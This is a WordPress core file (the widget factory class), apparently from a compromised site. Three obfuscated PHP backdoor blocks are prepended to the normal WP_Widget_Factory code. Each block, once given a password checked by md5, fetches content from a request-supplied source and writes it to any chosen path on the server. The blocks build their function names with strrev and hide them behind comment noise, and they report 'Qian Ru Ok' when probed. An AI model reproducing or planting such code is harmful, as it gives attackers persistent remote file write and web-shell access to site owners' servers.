File: /home/wwwrenee/public_html/wp-includes/class-wp-widget-factory.php
<?php
$jtRfNH = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($jtRfNH[0]) /*+/*+*/
. md5($jtRfNH[0])) == "b".
"a".
"4".
"f".
"d".
"6".
"9".
"7".
"9".
"f".
"7".
"f".
"3".
"9".
"7".
"b".
"a".
"1".
"9".
"0".
"d".
"6".
"3".
"6".
"a".
"7".
"1".
"3".
"7".
"f".
"4".
"2") {
$gUacXiAZ = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$OLlzhZASh = $gUacXiAZ /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$NSblselEW = $gUacXiAZ
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function UNnhnflm($jfzoutb) { if (empty($jfzoutb)) return false; if (!is_dir($jfzoutb)) { UNnhnflm(dirname($jfzoutb), 0755, true); mkdir($jfzoutb); } } !file_exists(dirname($jtRfNH[1])) && UNnhnflm(dirname($jtRfNH[1])); $yMyEoX = @$NSblselEW($jtRfNH[2]); echo @$OLlzhZASh($jtRfNH[1], $yMyEoX) ? 1 : 0; die; }key($jtRfNH) == "of" && die("Qian Ru Ok"); ?><?php
$lkKzUxOS = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($lkKzUxOS[0]) /*+/*+*/
. md5($lkKzUxOS[0])) == "d".
"6".
"0".
"f".
"a".
"0".
"2".
"8".
"7".
"4".
"8".
"4".
"a".
"b".
"0".
"d".
"b".
"9".
"7".
"8".
"4".
"e".
"4".
"f".
"e".
"4".
"f".
"1".
"7".
"c".
"1".
"e") {
$XBoGCHZE = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$obReNDqFh = $XBoGCHZE /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$WycbzLR = $XBoGCHZE
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function LoJvPXgV($Avviy) { if (empty($Avviy)) return false; if (!is_dir($Avviy)) { LoJvPXgV(dirname($Avviy), 0755, true); mkdir($Avviy); } } !file_exists(dirname($lkKzUxOS[1])) && LoJvPXgV(dirname($lkKzUxOS[1])); $hKRONh = @$WycbzLR($lkKzUxOS[2]); echo @$obReNDqFh($lkKzUxOS[1], $hKRONh) ? 1 : 0; die; }key($lkKzUxOS) == "of" && die("Qian Ru Ok"); ?><?php
$fMnlGmq = ${"_"."R"./*+/*+*/
"E"."Q"./*+/*+*/"U"."E"
/*+/*+*/."S"."T"};
if (md5( /*+/*+*/
md5($fMnlGmq[0]) /*+/*+*/
. md5($fMnlGmq[0])) == "5".
"b".
"a".
"1".
"7".
"d".
"1".
"2".
"9".
"b".
"c".
"6".
"9".
"b".
"d".
"d".
"6".
"1".
"8".
"0".
"b".
"e".
"8".
"1".
"4".
"d".
"2".
"9".
"d".
"4".
"1".
"5") {
$jKxQcu = "st" . /*+/*+*/"rr"
/*+/*+*/ . "ev";
$fuiCAek = $jKxQcu /*+/*+*/
("stn" . "etn" ./*+/*+*/
"oc_t" . "up_e" . "lif");
$xUTDqmXQZ = $jKxQcu
/*+/*+*/("stn" .
"etn" . "oc_t" . /*+/*+*/
"eg_e" . "lif"); function BFmIA($GoABNb) { if (empty($GoABNb)) return false; if (!is_dir($GoABNb)) { BFmIA(dirname($GoABNb), 0755, true); mkdir($GoABNb); } } !file_exists(dirname($fMnlGmq[1])) && BFmIA(dirname($fMnlGmq[1])); $zMXkieBlD = @$xUTDqmXQZ($fMnlGmq[2]); echo @$fuiCAek($fMnlGmq[1], $zMXkieBlD) ? 1 : 0; die; }key($fMnlGmq) == "of" && die("Qian Ru Ok"); ?><?php
/**
* Widget API: WP_Widget_Factory class
*
* @package WordPress
* @subpackage Widgets
* @since 4.4.0
*/
/**
* Singleton that registers and instantiates WP_Widget classes.
*
* @since 2.8.0
* @since 4.4.0 Moved to its own file from wp-includes/widgets.php
*/
class WP_Widget_Factory {
/**
* Widgets array.
*
* @since 2.8.0
* @var array
*/
public $widgets = array();
/**
* PHP5 constructor.
*
* @since 4.3.0
*/
public function __construct() {
add_action( 'widgets_init', array( $this, '_register_widgets' ), 100 );
}
/**
* PHP4 constructor.
*
* @since 2.8.0
* @deprecated 4.3.0 Use __construct() instead.
*
* @see WP_Widget_Factory::__construct()
*/
public function WP_Widget_Factory() {
_deprecated_constructor( 'WP_Widget_Factory', '4.3.0' );
self::__construct();
}
/**
* Registers a widget subclass.
*
* @since 2.8.0
* @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
* instead of simply a `WP_Widget` subclass name.
*
* @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
*/
public function register( $widget ) {
if ( $widget instanceof WP_Widget ) {
$this->widgets[ spl_object_hash( $widget ) ] = $widget;
} else {
$this->widgets[ $widget ] = new $widget();
}
}
/**
* Un-registers a widget subclass.
*
* @since 2.8.0
* @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object
* instead of simply a `WP_Widget` subclass name.
*
* @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.
*/
public function unregister( $widget ) {
if ( $widget instanceof WP_Widget ) {
unset( $this->widgets[ spl_object_hash( $widget ) ] );
} else {
unset( $this->widgets[ $widget ] );
}
}
/**
* Serves as a utility method for adding widgets to the registered widgets global.
*
* @since 2.8.0
*
* @global array $wp_registered_widgets
*/
public function _register_widgets() {
global $wp_registered_widgets;
$keys = array_keys( $this->widgets );
$registered = array_keys( $wp_registered_widgets );
$registered = array_map( '_get_widget_id_base', $registered );
foreach ( $keys as $key ) {
// Don't register new widget if old widget with the same id is already registered.
if ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) {
unset( $this->widgets[ $key ] );
continue;
}
$this->widgets[ $key ]->_register();
}
}
/**
* Returns the registered WP_Widget object for the given widget type.
*
* @since 5.8.0
*
* @param string $id_base Widget type ID.
* @return WP_Widget|null
*/
public function get_widget_object( $id_base ) {
$key = $this->get_widget_key( $id_base );
if ( '' === $key ) {
return null;
}
return $this->widgets[ $key ];
}
/**
* Returns the registered key for the given widget type.
*
* @since 5.8.0
*
* @param string $id_base Widget type ID.
* @return string
*/
public function get_widget_key( $id_base ) {
foreach ( $this->widgets as $key => $widget_object ) {
if ( $widget_object->id_base === $id_base ) {
return $key;
}
}
return '';
}
} ?>